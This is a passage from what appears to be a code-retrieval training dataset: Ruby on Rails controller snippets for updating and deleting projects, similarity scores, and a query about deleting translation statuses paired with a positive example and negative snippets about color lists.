"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to(@project) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to(@project) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def project_update(project)\n raise Client::FileboundClientException.new('Id is required', 0) unless project[:projectId].greater_than_zero?\n put('/projects', nil, project)\n end",
"def update\n @new_nav = true;\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(project_params)\n if params[:project_attachments]\n create_attachments\n end\n\n if params[:project_fields]\n create_fields\n end\n\n if params[:slider_objects]\n create_slider_objects\n end\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = current_user.projects.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project }\n flash['success'] = \"Project was successfully updated.\"\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Projeto atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @project.update(project_params)\n render :show, status: :ok, location: @project\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @project.update(project_params)\n render :show, status: :ok, location: @project\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end"
] |
[
"0.6916143",
"0.6741629",
"0.6609215",
"0.62971115",
"0.6281249",
"0.6244652",
"0.62268203",
"0.62059724",
"0.61841774",
"0.6163271",
"0.6149499",
"0.6109986",
"0.61035675",
"0.61026967",
"0.61026967",
"0.6099646",
"0.6082145",
"0.6034373",
"0.5991403",
"0.598226",
"0.59666234",
"0.5940529",
"0.59324473",
"0.5932225",
"0.5899559",
"0.58826834",
"0.5877846",
"0.58581126",
"0.58446425",
"0.5829852",
"0.58237886",
"0.58226085",
"0.5811691",
"0.5793868",
"0.5792346",
"0.57881767",
"0.5788094",
"0.5781867",
"0.57605803",
"0.57565",
"0.5747349",
"0.5745715",
"0.57425797",
"0.5739872",
"0.57370955",
"0.5734737",
"0.5722554",
"0.57147014",
"0.5703067",
"0.5697873",
"0.5683696",
"0.5660753",
"0.56552136",
"0.56522936",
"0.56495684",
"0.5645321",
"0.56392586",
"0.5635248",
"0.56325",
"0.5631221",
"0.5629147",
"0.5619679",
"0.5619244",
"0.5615691",
"0.56138724",
"0.5613571",
"0.561202",
"0.5598269",
"0.5596734",
"0.55778265",
"0.5577027",
"0.5576565",
"0.55725074",
"0.5555317",
"0.55550766",
"0.55528116",
"0.55519974",
"0.55519974",
"0.5551583",
"0.5549336",
"0.5547058",
"0.55445975",
"0.5533327",
"0.5530195",
"0.5529922",
"0.55285305",
"0.55285305",
"0.55244875",
"0.55226636",
"0.5517619",
"0.5516455",
"0.5514982",
"0.55127835",
"0.55127835",
"0.55127835",
"0.55127835",
"0.55127835",
"0.55127835",
"0.5510999",
"0.5510999"
] |
0.81826407
|
0
|
Deletes translation status inside the given project
|
def destroy_translation_status(project_id, status_id)
c_r Lokalise::Resources::CustomTranslationStatus, :destroy, [project_id, status_id]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_translations\n end",
"def destroy\n @project_status = ProjectStatus.find(params[:id])\n @project_status.destroy\n\n respond_to do |format|\n format.html { redirect_to(project_statuses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = AzProject.find(params[:id])\n @project.deleting = true # По этому странному атрибуту страница определяет, что она не должна удалять свои задачи из Redmine\n @project.save\n\n if @project.can_user_delete(current_user)\n @project.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to('/projects') }\n format.xml { head :ok }\n end\n end",
"def delete_translations\n TranslationKey.find_by(name: description_translation_key).try(:destroy)\n end",
"def delete()\n\n client.delete(\"/project_statuses/#{gid}\") && true\n end",
"def destroy\n @project_status.destroy\n respond_to do |format|\n format.html { redirect_to project_statuses_url, notice: 'Project status was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @translation = @locale.translations.find(params[:id])\n @translation.destroy\n redirect_to(locale_translations_url)\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.status = 'deleted'\n @project.save!\n\n respond_to do |format|\n format.json { render :json => \"success\" }\n end\n end",
"def delete_project(project)\n handle_action_exceptions(__method__) do\n cmd_line = [\"deleteproject '#{project}'\"]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"def destroy\n @tasks_translation = TasksTranslation.find(params[:id])\n @tasks_translation.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_tasks_translations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project_state.destroy\n head :no_content\n end",
"def del_project(username, projectname)\n project = GithubRepo.find_by(github_user: username, project_name: projectname, user_id: current_user)\n project.imported = false\n project.save\n\n\n target_campaign = Quest.find_by(type: 'Campaign', name: projectname, campaign_id: nil)\n #destroy all Rounds\n Round.destroy_all(campaign_id: target_campaign.id)\n #destroy all Quests related to campaign\n Quest.destroy_all(campaign_id: target_campaign.id)\n #destroy the campaign itself\n Quest.destroy(target_campaign.id)\n\n #destroy all Commits\n\n Record.destroy_all(type: 'Commit', github_username: username, github_projectname: projectname)\n\n #make sure there is an encounter there\n create_round(project, action_name, Campaign.last)\n end",
"def destroy\n begin\n ActiveRecord::Base.transaction do\n ## Remove the project and everything associated with it (permissions,\n ## files, comments, altcode).\n delete_project(@project)\n\n render json: \"\", serializer: SuccessSerializer\n end\n rescue => e\n render_error \"Could not remove project: #{e}\"\n end\n end",
"def destroy\n @project_status.destroy\n respond_to do |format|\n format.html { redirect_to project_statuses_url, notice: 'Status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project_status.destroy\n\n respond_to do |format|\n format.html { redirect_to project_statuses_url, notice: \"Project status was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n \n @project = Project.find(params[:id])\n if @project.deleted == true\n @project.deleted = false\n else\n @project.deleted = true\n end\n @project.save\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n\r\n translations = GetPomo::PoFile.parse(File.read(\"#{Rails.root}/po/#{params[:locale]}/#{APP_SID}.po\"))\r\n locales = lambda do |translations|\r\n translations.reject!{|t| t.msgid == \"\"}\r\n if params.has_key?(:fuzzy) and (params[:fuzzy] =~ /(t|1|true|on)/i)\r\n fuzzy = (params[:fuzzy] =~ /(t|1|true|on)/i) ? true : false\r\n if fuzzy\r\n translations.reject{|t| t.fuzzy?.nil?}\r\n else\r\n translations.select{|t| t.fuzzy?.nil?}\r\n end\r\n else\r\n translations\r\n end\r\n end.call(translations)\r\n\r\n # Find and delete translation\r\n\r\n index = translations.find_index(locales[params[:id].to_i])\r\n @locale = translations.delete_at(index)\r\n\r\n # Create delayed job to rewrite the PO file asynchronously\r\n\r\n Delayed::Job.enqueue WritePo.new(params[:locale], GetPomo::PoFile.to_text(translations))\r\n render :json => @locale\r\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.active = false\n @project.save\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def delete_po\r\n\r\n FileUtils.rm_rf \"#{Rails.root}/po/#{params[:locale]}\"\r\n redirect_to locales_path\r\n end",
"def destroy\n Project.transaction do\n begin\n @project = Project.find(params[:id])\n @project.users_projects.delete_all\n @project.destroy\n rescue\n raise ActiveRecord::Rollback\n end\n end\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project.destroy\n redirect_to projects_url, notice: I18n.t('flash.actions.project.destroy.notice')\n end",
"def delproject(project)\n post('delproject.json', project: project)\n end",
"def destroy\n @project.destroy\n redirect_to root_url, flash: {success: t('controllers.projects.destroy.deleted', name: @project.name)}\n end",
"def destroy\n @project.destroy\n\n head :no_content\n end",
"def destroy\n @project.destroy\n end",
"def destroy\n @project.destroy\n end",
"def destroy\n @project.destroy\n end",
"def destroy\n @project.destroy\n end",
"def destroy\n @project.destroy\n end",
"def destroy\n @project.destroy\n render json: {message: 'Projeto Excluido'}, status: :ok\n end",
"def destroy\n name = @project.name\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_path,\n :notice => t('general.deleted',\n :entity => t('project.entity_name'),\n :identifier => name)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project.destroy\n message = @project.is_deleted? ? 'Project was successfully deleted.' : 'Project was successfully restored.'\n respond_to do |format|\n format.html { redirect_to projects_url, notice: message }\n format.json { head :no_content }\n end\n end",
"def destroy\n @translation = Translation.find(params[:id])\n @translation.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n redirect_to projects_path, :notice => 'Anlage wurde gelöscht.'\n end",
"def destroy\n @project = @key_questions_project.project\n @key_questions_project.destroy\n respond_to do |format|\n format.html do\n redirect_to edit_project_path(@project, page: 'key_questions'),\n notice: t('removed')\n end\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n head :no_content\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: \"#{I18n.t 'project.project_destoy'}\"}\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = @projectable.projects.find(params[:id])\n @project.destroy\n track_activity @project\n\n respond_to do |format|\n format.html { redirect_to [@projectable, :projects] }\n format.json { head :no_content }\n end\n end",
"def destroy\n if is_admin?(@project.program)\n flash[:notice] = \"Project record for #{@project.project_title} was successfully deleted\"\n @project.destroy\n else\n admin = is_admin? ? 'Yes' : 'No'\n flash[:errors] = \"Project record for #{@project.project_title} could not be deleted; admin: #{admin};\"\n end\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = @sprint.projects.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Admin::Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n if current_user == @project.user || current_user.role == 1\n @project.objectives.each do |obj|\n obj.objective_validations.destroy_all\n obj.destroy\n end\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, :flash => { success: 'Projet supprimé avec succès' } }\n format.json { head :no_content }\n end\n end\n end",
"def delete_project\n\t\t@project = Project.find(params[:id])\n\n\t\tif @project.destroy\n\t\t\tredirect_to \"/details\"\n\t\telse\n\t\t\treder :action => \"delete_project\"\n\t\tend\n\tend",
"def destroy\n @project = @user.projects.find(params[:id])\n @project.remove!\n\n respond_to do |format|\n format.html { redirect_to(projects_url(:subdomain => @user.subdomain)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @subproject = Subproject.find(params[:id])\n projectid = @subproject.project.id\n @subproject.destroy\n redirect_to project_subprojects_path(:project_id => projectid), :notice => 'Projekt wurde gelöscht.'\n end",
"def destroy\n Rails.logger.info \"We are deleting project\"\n @todo_project.destroy\n respond_to do |format|\n format.html { redirect_to todo_projects_url, notice: 'Project was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def backend_deleteProject(param) \n @Projects.delete(param) if @Projects.include? param \n end",
"def _project_delete(acronym)\n delete \"/projects/#{acronym}\"\n _response_status(204, last_response)\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n end",
"def destroy\n project = @execution.project\n @execution.destroy\n flash[:notice] = 'Execução removida com sucesso' \n respond_to do |format|\n format.html { redirect_to project}\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Proyecto eliminado sastifactoriamente' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n\t@checks = Check.find(:all).where(:project_id => @project.id)\n\t@checks.each do |check|\n\t\tcheck.destroy\n\tend\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find params[:id]\n @project.destroy\n redirect_to projects_path, notice: 'The project was deleted'\n end",
"def destroy\n ActiveRecord::Base.transaction do\n @proyecto.status = Status.find(Status::VALUES[:deleted])\n @proyecto.save validate: false\n respond_to do |format|\n format.html { redirect_to proyectos_url, notice: 'Proyecto programa se marco como borrado.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n \n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @unfinished_project = UnfinishedProject.find(params[:id])\n @unfinished_project.destroy\n\n respond_to do |format|\n format.html { redirect_to unfinished_projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Proyecto eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # Se busca el proyecto por el id\n @project = Project.find(params[:id])\n # Se destruye\n @project.destroy\n redirect_to projects_url\n end",
"def destroy\n @project = current_user.active_projects.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: t('models.project.destroy') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:project_id])\n @to_do = @project.to_dos.find(params[:id])\n @to_do.destroy\n\n respond_to do |format|\n format.html { redirect_to(project_to_dos_url) }\n format.json { head :ok }\n end\n end",
"def delete_project(id)\n elektron_identity.delete(\"projects/#{id}\")\n end",
"def destroy\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html do\n flash[:notice] = 'Project was deleted.'\n redirect_to projects_path\n end\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to administration_projects_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project.destroy_all\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'The project was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @translation_unit.destroy\n flash[:notice] = t('controllers.translation_units.destroy.success')\n respond_with @translation_unit\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Projeto deletado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n \t@project = Project.find(params[:id])\n \t#ap @project\n \t#abort\n \n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n standard_destroy(Project, params[:id])\n end",
"def destroy\n @new_nav = true;\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to project_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@admin_translatee = Admin::Translatee.find(params[:id])\n\t\t@admin_translatee.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to admin_translatees_url }\n\t\t\tformat.json { head :ok }\n\t\tend\n\tend",
"def destroy\n @project_choice.destroy\n @project = Project.find(params[:project_id])\n respond_to do |format|\n format.html { redirect_to project_choices_url, notice: 'Project choice was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\t\t\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Successfully deleted project.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @master_text.destroy\n @master_text.project.recalculate_counts!\n respond_to do |format|\n format.html { redirect_to project_master_texts_path(@master_text.project), notice: \"Master text was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n \n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.70029676",
"0.67618185",
"0.67617273",
"0.6732007",
"0.67281353",
"0.6712774",
"0.6618373",
"0.66147643",
"0.6613793",
"0.6609593",
"0.6607866",
"0.6600219",
"0.65936816",
"0.65766174",
"0.6564709",
"0.6532797",
"0.65144646",
"0.642646",
"0.6416615",
"0.6369575",
"0.63655186",
"0.6364045",
"0.63493186",
"0.63150805",
"0.6297841",
"0.6297841",
"0.6297841",
"0.6297841",
"0.6297841",
"0.62924767",
"0.62905127",
"0.6271939",
"0.625632",
"0.6252333",
"0.6251687",
"0.62491953",
"0.6245955",
"0.62444824",
"0.62413406",
"0.623983",
"0.6218305",
"0.6211862",
"0.6203535",
"0.6199716",
"0.619625",
"0.61934805",
"0.6188334",
"0.61724603",
"0.61698663",
"0.6162828",
"0.61627203",
"0.6162018",
"0.6142731",
"0.6139882",
"0.6137171",
"0.61362183",
"0.6132578",
"0.61321044",
"0.6130981",
"0.612667",
"0.61212546",
"0.6118238",
"0.6114428",
"0.611388",
"0.6109206",
"0.6102629",
"0.6102221",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100765",
"0.6100405",
"0.6094696",
"0.60941833",
"0.6093351",
"0.6090903",
"0.6090237",
"0.60898703",
"0.6087041",
"0.60839397",
"0.6081866",
"0.607549",
"0.607293",
"0.60717756",
"0.6071584"
] |
0.8149208
|
0
|
Returns an array of available colors that can be assigned to custom translation statuses
|
def translation_status_colors(project_id)
c_r Lokalise::Resources::CustomTranslationStatus, :colors, [project_id, 'colors']
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def available_colors_translated\n colors_translated = {}\n Calendar::Event::COLORS.each do |color, hex|\n colors_translated[t(\"colors.#{color}\")] = hex;\n end\n colors_translated\n end",
"def possible_colors\n %w(R G B Y)\n end",
"def colorNames\n colors = [\"red\", \"orange\", \"yellow\", \"green\", \"mint\", \"navy\", \"light blue\", \"lavender\", \"plum\", \"pink\"]; \n return colors;\n end",
"def colors\n color_codes.keys\n end",
"def color_codes\n {\n info: '#63C5DC',\n warning: 'warning',\n success: 'good',\n fatal: 'danger'\n }\n end",
"def colors() = @colors ||= %i[blue green purple magenta cyan yellow red]",
"def color_map\n {\n 'high_risk_ice_check_in' => '#800080',\n 'friend_in_detention' => '#e83737',\n }\n end",
"def colors\n @wmiiconfig.read(\"/bar/#{@name}/colors\").split(/\\s+/).map do |txt|\n txt.scan(/[a-fA-F0-9]{2}/).map{|hex| hex.to_i(16)}\n end\n end",
"def stopped_failed_colors\n { :light => \"F5D9C9\".to_color, :medium => \"F2F2E9\".to_color, :strong => \"AF3A00\".to_color }\n end",
"def colors\n keys = []\n COLORS.each_key do | key |\n keys << key\n end\n keys\n end",
"def colors\n keys = []\n COLORS.each_key do |key|\n keys << key\n end\n keys\n end",
"def text_colors\n @colors = {\n red: 31,\n yellow: 33,\n green: 32\n }\n end",
"def colorsPrimary\n @color_rgb_strings_primary = []\n @color_rgb.each do |rgb|\n r = rgb[\"red\"]\n g = rgb[\"green\"]\n b = rgb[\"blue\"]\n @color_rgb_strings_primary << \"rgb(#{r},#{g},#{b})\"\n end\n end",
"def colors\n color1 = UIColor.colorWithWhite(1.0, alpha: 0.2).CGColor\n color2 = UIColor.colorWithWhite(1.0, alpha: 0.1).CGColor\n color3 = UIColor.clearColor().CGColor\n color4 = UIColor.colorWithWhite(0.0, alpha: 0.1).CGColor\n \n [color1, color2, color3, color4]\n end",
"def colors\n Outpost::Config.instance.colors\n end",
"def list_colors\n color_string = \"\\nThe available colors are \"\n COLORS.each_with_index do |color, index|\n if index%2 == 0\n color_string += \"\\n\"\n end\n color_string += color + \" \"\n end\n puts color_string\n end",
"def scan_for_colors; end",
"def colors\n @colors\n end",
"def html_colors(total)\n all_colors = [\"FF0000\", \"00FF00\", \"0000FF\", \"00FFFF\", \"FF00FF\", \"FFFF00\", \"000000\"]\n #return [] if total > all_colors.length\n return Array.new(total){|i| all_colors[i]}\n end",
"def values\n [@red, @green, @blue]\n end",
"def std_player_colours\n\t\t[Gosu::Color::RED,\n\t\tGosu::Color::YELLOW,\n\t\tGosu::Color::GREEN,\n\t\tGosu::Color::FUCHSIA]\n\tend",
"def aqi_range_colors\n { 0..50 => :green,\n 51..100 => :yellow,\n 101..150 => :orange,\n 151..200 => :red,\n 201..300 => :purple,\n 301..999 => :pink }\n end",
"def colors\n @colors ||= parse_colors(color_properties)\n end",
"def colors\n Hash[*resource_map.values.flatten.map {|h| [h.keys.first, h.values.first]}.flatten]\n end",
"def colors\n colors = []\n @lines.each do |line|\n color = line.scan(/\\d{1,3},\\d{1,3},\\d{1,3}/).first\n next if color.blank?\n color = color.split(',')\n colors << rgb(color[0].to_i, color[1].to_i, color[2].to_i)\n end\n colors\n end",
"def colors\n return\n end",
"def get_color\n completed? ? 'info' : 'warning'\n end",
"def color_codes\n {\n :black => 0, :light_black => 60,\n :red => 1, :light_red => 61,\n :green => 2, :light_green => 62,\n :yellow => 3, :light_yellow => 63,\n :blue => 4, :light_blue => 64,\n :magenta => 5, :light_magenta => 65,\n :cyan => 6, :light_cyan => 66,\n :white => 7, :light_white => 67,\n :default => 9\n }\n end",
"def colors; end",
"def not_green\n result = []\n status.each {|name, value|\n value[:name] = name\n result << value if value[:health] != :green\n }\n result\n end",
"def get_col_colors\n col_colors = Hash.new \n col_colors[:throwing] = '#ccffff'\n col_colors[:hitting] = '#ffcccc'\n col_colors[:running] = '#ccccff'\n col_colors[:fielding] = '#ccffcc'\n col_colors[:none] = '#eeeeee'\n col_colors[:fundamentals] = '#C1C1C0'\n col_colors[:experience] = '#969696'\n col_colors\n end",
"def determine_status_color( status )\n case status\n when 'pending' then return '#cea61b'\n when 'error' then return '#bd2c00'\n when 'success' then return '#6cc644'\n end\nend",
"def get_humidity_range_colors\n { 0..0.12 => :blue,\n 0.13..0.25 => :purple,\n 0.26..0.38 => :teal,\n 0.39..0.5 => :aqua,\n 0.51..0.63 => :yellow,\n 0.64..0.75 => :orange,\n 0.76..0.88 => :red,\n 0.89..1 => :pink,\n }\n end",
"def generate_color(status)\n if status == :completed\n :green\n elsif status == :failed\n :red\n else\n :yellow\n end\n end",
"def product_colors(product)\n return product.color.split(',').map(&:to_s)\n end",
"def colors\n hex_values = @lines.map { |line| line[/#([0-9A-F]{6})/, 1] }.compact\n hex_values.map { |hex| Colour::RGB.from_html(hex) }\n end",
"def rgb_color\n [self.color_red, self.color_green, self.color_blue]\n end",
"def color_status(status)\n case status\n when 0..199 then MAGENTA\n when 200..299 then GREEN\n when 300..399 then YELLOW\n when 400..599 then RED\n else WHITE\n end\n end",
"def find_color_codes\n color_codes.uniq(&:numeric_code)\n end",
"def status_color\n if skipped?\n :yellow\n elsif error?\n :red\n else\n :green\n end\n end",
"def get_color_list_name\n\t\t@availible_colors.keys[0]\n\tend",
